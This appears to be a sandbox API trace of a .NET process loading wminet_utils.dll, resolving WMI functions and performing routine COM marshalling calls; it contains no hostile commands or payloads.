	[0081.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x69aeab0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63
	[0081.953] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x73be0000
	[0082.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x69aeae4, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06\x98Fq", lpUsedDefaultChar=0x0) returned 13
	[0082.042] GetProcAddress (hModule=0x73be0000, lpProcName="ResetSecurity") returned 0x73be24de
	[0082.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x69aeae4, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11
	[0082.047] GetProcAddress (hModule=0x73be0000, lpProcName="SetSecurity") returned 0x73be2520
	[0082.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x69aeae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 18
	[0082.052] GetProcAddress (hModule=0x73be0000, lpProcName="BlessIWbemServices") returned 0x73be1c69
	[0082.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x69aead8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObjectD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 24
	[0082.067] GetProcAddress (hModule=0x73be0000, lpProcName="BlessIWbemServicesObject") returned 0x73be1cbb
	[0082.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x69aeae0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 17
	[0082.113] GetProcAddress (hModule=0x73be0000, lpProcName="GetPropertyHandle") returned 0x73be21b4
	[0082.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x69aeae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValueÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 18
	[0082.121] GetProcAddress (hModule=0x73be0000, lpProcName="WritePropertyValue") returned 0x73be2617
	[0082.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x69aeaec, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 5
	[0082.128] GetProcAddress (hModule=0x73be0000, lpProcName="Clone") returned 0x73be1d0d
	[0082.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x69aeae0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15
	[0082.133] GetProcAddress (hModule=0x73be0000, lpProcName="VerifyClientKey") returned 0x73be25b4
	[0082.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x69aeae0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15
	[0082.136] GetProcAddress (hModule=0x73be0000, lpProcName="GetQualifierSet") returned 0x73be2215
	[0082.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x69aeaec, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3
	[0082.137] GetProcAddress (hModule=0x73be0000, lpProcName="Get") returned 0x73be20d4
	[0082.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x69aeaec, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3
	[0082.158] GetProcAddress (hModule=0x73be0000, lpProcName="Put") returned 0x73be22be
	[0082.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x69aeaec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 6
	[0082.168] GetProcAddress (hModule=0x73be0000, lpProcName="Delete") returned 0x73be1f31
	[0082.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x69aeae8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNamesD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 8
	[0082.174] GetProcAddress (hModule=0x73be0000, lpProcName="GetNames") returned 0x73be2182
	[0082.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x69aeae0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumerationD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 16
	[0082.188] GetProcAddress (hModule=0x73be0000, lpProcName="BeginEnumeration") returned 0x73be1c43
	[0082.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x69aeaec, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 4
	[0082.193] GetProcAddress (hModule=0x73be0000, lpProcName="Next") returned 0x73be2283
	[0082.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x69aeae4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumerationÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 14
	[0082.207] GetProcAddress (hModule=0x73be0000, lpProcName="EndEnumeration") returned 0x73be1fc2
	[0082.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x69aead8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23
	[0082.211] GetProcAddress (hModule=0x73be0000, lpProcName="GetPropertyQualifierSet") returned 0x73be21ff
	[0082.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x69aeaec, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 5
	[0082.218] GetProcAddress (hModule=0x73be0000, lpProcName="Clone") returned 0x73be1d0d
	[0082.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x69aeae4, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 13
	[0082.219] GetProcAddress (hModule=0x73be0000, lpProcName="GetObjectText") returned 0x73be219e
	[0082.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x69aeae0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 17
	[0082.226] GetProcAddress (hModule=0x73be0000, lpProcName="SpawnDerivedClass") returned 0x73be2566
	[0082.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x69aeae4, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 13
	[0082.231] GetProcAddress (hModule=0x73be0000, lpProcName="SpawnInstance") returned 0x73be257c
	[0082.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x69aeae8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 9
	[0082.232] GetProcAddress (hModule=0x73be0000, lpProcName="CompareTo") returned 0x73be1d8d
	[0082.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x69aeae0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 17
	[0082.238] GetProcAddress (hModule=0x73be0000, lpProcName="GetPropertyOrigin") returned 0x73be21e9
	[0082.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x69aeae4, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFromD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 12
	[0082.247] GetProcAddress (hModule=0x73be0000, lpProcName="InheritsFrom") returned 0x73be2228
	[0082.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x69aeae8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 9
	[0082.248] GetProcAddress (hModule=0x73be0000, lpProcName="GetMethod") returned 0x73be213a
	[0082.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x69aeae4, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethodD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 12
	[0082.265] GetProcAddress (hModule=0x73be0000, lpProcName="DeleteMethod") returned 0x73be1f44
	[0082.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x69aeadc, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumerationÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 22
	[0082.266] GetProcAddress (hModule=0x73be0000, lpProcName="BeginMethodEnumeration") returned 0x73be1c56
	[0082.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x69aeae8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 10
	[0082.267] GetProcAddress (hModule=0x73be0000, lpProcName="NextMethod") returned 0x73be22a2
	[0082.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x69aeadc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumerationD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 20
	[0082.275] GetProcAddress (hModule=0x73be0000, lpProcName="EndMethodEnumeration") returned 0x73be1fd2
	[0082.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x69aeadc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 21
	[0082.276] GetProcAddress (hModule=0x73be0000, lpProcName="GetMethodQualifierSet") returned 0x73be216c
	[0082.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x69aeae0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15
	[0082.277] GetProcAddress (hModule=0x73be0000, lpProcName="GetMethodOrigin") returned 0x73be2156
	[0082.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x69aeae0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 16
	[0082.278] GetProcAddress (hModule=0x73be0000, lpProcName="QualifierSet_Get") returned 0x73be242c
	[0082.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x69aeae0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_PutD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 16
	[0082.288] GetProcAddress (hModule=0x73be0000, lpProcName="QualifierSet_Put") returned 0x73be247a
	[0082.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x69aeadc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19
	[0082.298] GetProcAddress (hModule=0x73be0000, lpProcName="QualifierSet_Delete") returned 0x73be2409
	[0082.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x69aeadc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 21
	[0082.299] GetProcAddress (hModule=0x73be0000, lpProcName="QualifierSet_GetNames") returned 0x73be2448
	[0082.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x69aead4, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 29
	[0082.309] GetProcAddress (hModule=0x73be0000, lpProcName="QualifierSet_BeginEnumeration") returned 0x73be23f6
	[0082.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x69aeae0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 17
	[0082.310] GetProcAddress (hModule=0x73be0000, lpProcName="QualifierSet_Next") returned 0x73be245e
	[0082.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x69aead4, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27
	[0082.319] GetProcAddress (hModule=0x73be0000, lpProcName="QualifierSet_EndEnumeration") returned 0x73be241c
	[0082.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x69aead8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23
	[0082.320] GetProcAddress (hModule=0x73be0000, lpProcName="GetCurrentApartmentType") returned 0x73be2215
	[0082.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x69aeadc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStubD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 20
	[0082.325] GetProcAddress (hModule=0x73be0000, lpProcName="GetDemultiplexedStub") returned 0x73be20f3
	[0082.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x69aeadc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 21
	[0082.334] GetProcAddress (hModule=0x73be0000, lpProcName="CreateInstanceEnumWmi") returned 0x73be1ebb
	[0082.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x69aeae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmiÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 18
	[0082.353] GetProcAddress (hModule=0x73be0000, lpProcName="CreateClassEnumWmi") returned 0x73be1e45
	[0082.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x69aeae4, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmiD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 12
	[0082.354] GetProcAddress (hModule=0x73be0000, lpProcName="ExecQueryWmi") returned 0x73be205b
	[0082.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x69aead8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmiD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 24
	[0082.376] GetProcAddress (hModule=0x73be0000, lpProcName="ExecNotificationQueryWmi") returned 0x73be1fe2
	[0082.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x69aeae4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmiÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 14
	[0082.377] GetProcAddress (hModule=0x73be0000, lpProcName="PutInstanceWmi") returned 0x73be235a
	[0082.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x69aeae4, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11
	[0082.396] GetProcAddress (hModule=0x73be0000, lpProcName="PutClassWmi") returned 0x73be22da
	[0082.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x69aead8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObjectD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 24
	[0082.397] GetProcAddress (hModule=0x73be0000, lpProcName="CloneEnumWbemClassObject") returned 0x73be1d20
	[0082.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x69aeae0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmiD\x1aÒs!á°¹\x94ÂKs¨í\x9a\x06", lpUsedDefaultChar=0x0) returned 16
	[0082.414] GetProcAddress (hModule=0x73be0000, lpProcName="ConnectServerWmi") returned 0x73be1da3
	[0082.664] CClientSecurity::QueryBlanket () returned 0x0
	[0082.664] Release () returned 0x1
	[0082.664] CClientSecurity::SetBlanket () returned 0x0
	[0082.664] Release () returned 0x2
	[0082.664] Release () returned 0x1
	[0082.664] CoTaskMemFree (pv=0x54202c8) 
	[0082.665] WbemLocator:IUnknown:Release (This=0x69b0a48) returned 0x0
	[0082.665] QueryInterface () returned 0x80004002
	[0082.665] QueryInterface () returned 0x80004002
	[0082.665] AddRef () returned 0x3
	[0082.665] QueryInterface () returned 0x80004002
	[0082.665] QueryInterface () returned 0x80004002
	[0082.665] QueryInterface () returned 0x0
	[0082.665] CStdMarshal::GetUnmarshalClass () returned 0x0
	[0082.665] Release () returned 0x3
	[0082.665] CoGetContextToken (in: pToken=0x69ae638 | out: pToken=0x69ae638) returned 0x0
	[0082.665] CoGetContextToken (in: pToken=0x69aea40 | out: pToken=0x69aea40) returned 0x0
	[0082.665] QueryInterface () returned 0x0
	[0082.666] CRpcOptions::Query () returned 0x80004002
	[0082.666] Release () returned 0x3
	[0082.666] Release () returned 0x2
	[0082.666] CoGetContextToken (in: pToken=0x69af018 | out: pToken=0x69af018) returned 0x0
	[0082.666] CoGetContextToken (in: pToken=0x69aef78 | out: pToken=0x69aef78) returned 0x0
	[0082.666] QueryInterface () returned 0x0
	[0082.669] SysStringLen (param_1=0x0) returned 0x0
	[0082.669] CoUninitialize () 

Thread:
	id = 86
	os_tid = 0x244


Thread:
	id = 87
	os_tid = 0x538

	[0082.675] CoGetContextToken (in: pToken=0x60cf0b0 | out: pToken=0x60cf0b0) returned 0x0
	[0082.675] CoGetContextToken (in: pToken=0x60cf0a0 | out: pToken=0x60cf0a0) returned 0x0
	[0082.675] CoGetMarshalSizeMax (in: pulSize=0x60cf05c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x71a73c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x60cf05c) returned 0x0
	[0082.676] CoMarshalInterface (pStm=0x718368, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x71a73c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0085.026] CoGetContextToken (in: pToken=0x60cf0b0 | out: pToken=0x60cf0b0) returned 0x0
	[0085.026] CoGetContextToken (in: pToken=0x60cf0a0 | out: pToken=0x60cf0a0) returned 0x0
	[0085.026] CoGetMarshalSizeMax (in: pulSize=0x60cf05c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72ca5c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x60cf05c) returned 0x0
	[0085.026] CoMarshalInterface (pStm=0x717ee8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72ca5c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0085.486] CoGetContextToken (in: pToken=0x60cf0b0 | out: pToken=0x60cf0b0) returned 0x0
	[0085.486] CoGetContextToken (in: pToken=0x60cf0a0 | out: pToken=0x60cf0a0) returned 0x0
	[0085.486] CoGetMarshalSizeMax (in: pulSize=0x60cf05c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72cf0c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x60cf05c) returned 0x0
	[0085.486] CoMarshalInterface (pStm=0x7183c8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72cf0c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0102.210] CoGetContextToken (in: pToken=0x60cf0b0 | out: pToken=0x60cf0b0) returned 0x0
	[0102.210] CoGetContextToken (in: pToken=0x60cf0a0 | out: pToken=0x60cf0a0) returned 0x0
	[0102.210] CoGetMarshalSizeMax (in: pulSize=0x60cf05c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72c87c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x60cf05c) returned 0x0
	[0102.211] CoMarshalInterface (pStm=0x718188, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72c87c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0107.537] CoGetContextToken (in: pToken=0x60cf0b0 | out: pToken=0x60cf0b0) returned 0x0
	[0107.537] CoGetContextToken (in: pToken=0x60cf0a0 | out: pToken=0x60cf0a0) returned 0x0
	[0107.537] CoGetMarshalSizeMax (in: pulSize=0x60cf05c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72d0ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x60cf05c) returned 0x0
